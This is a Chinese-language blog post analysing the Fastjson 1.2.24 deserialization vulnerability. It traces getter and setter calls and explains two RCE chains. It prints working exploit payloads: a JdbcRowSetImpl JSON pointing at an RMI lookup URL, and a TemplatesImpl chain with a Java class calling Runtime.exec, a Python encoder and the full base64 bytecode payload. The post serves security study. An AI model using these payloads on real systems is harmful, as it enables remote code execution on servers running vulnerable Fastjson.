Fastjson反序列化分析

在进行fastjson反序列化前,我们要先看看为什么fastjson解析会有反序列化的漏洞,我们先来做一个正常的类,并对其使用json解析,这里我们使用1.2.24版本作为演示

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

首先来一个正常一点的用户类(符合JavaBean要求)

package org.example;
public class User {
    private String username;
    private String password;
    public User(String username,String password){
        this.username=username;
        this.password=password;
    }
    public User() {
    }

    public String getUsername() {
        System.out.println("getUsername");
        return username;
    }
    public void setUsername(String username) {
        System.out.println("setUsername");
        this.username = username;
    }
    public String getPassword() {
        System.out.println("getPassword");
        return password;
    }
    public void setPassword(String password) {
        System.out.println("setPassword");
        this.password = password;
    }
}

写个test调用一下

package org.example;

import com.alibaba.fastjson.JSON;

public class test {
    public static void main(String[] args) {
        User user=new User("Jlan","FXXKpassword");
        String json= JSON.toJSONString(user);
        System.out.println(json);
    }
}
//getPassword
//getUsername
//{"password":"FXXKpassword","username":"Jlan"}
//输出结果可见调用了getter方法

我们再来看三种不同的解析方法会对类做什么处理

可以看到除了我们指定好类的情况下变量为对应的类,剩下的情况都是JSONObject类(废话),那我们在来看看在json中加入@type参数是什么效果

可以看到这次parse方法和指定类的parseObject方法都转换出了正确的类并且调用了setter方法,但是不指定类的parseObject方法却先调用了setter方法后调用了getter方法,这是为什么呢,我们跟入其源码看一下

public static JSONObject parseObject(String text) {
    Object obj = parse(text);
    return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

可以看到其先调用了parse方法(setter被调用),然后判断这个对象是否是JSONObject对象,如果不是就调用toJSON将其转为JSONObject(getter被调用)

那现在又有一个问题,如果@type和parseObject传入的类不相同怎么办,我们先建立一个和User完全一致的Users类(名字不一样哈)

意料之中,直接报错(大家也可以试试使用Object.class,这是成功的,怀疑是先进行prase再尝试进行转换)

那么下面我们来看这个版本利用的两条getter或setter链

com.sun.rowset.JdbcRowSetImpl

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

这就是反序列化的关键类了,我们跟入看看里面的内容,由于在进行json解析的时候调用的是setter方法,那么我们就在上面两个属性的set方法上打断点

对于dataSourceName没什么,就是一个单纯的设定了一下属性,我们继续看autoCommit

这里的set首先对conn的状态进行了判定,如果现在有一个连接那么就直接调用conn属性的setAutoCommit方法,反之就要先调用本对象的connect方法,我们跟入看看

首先尝试获取DataSourceName的内容,并对其执行lookup方法,而lookup方法就是用于远程加载类的,所以此时我们的恶意类就被加载进去了,实现RCE

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

又来了,字节码加载又来了

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("open -a Calculator");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
}
import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

1.2.24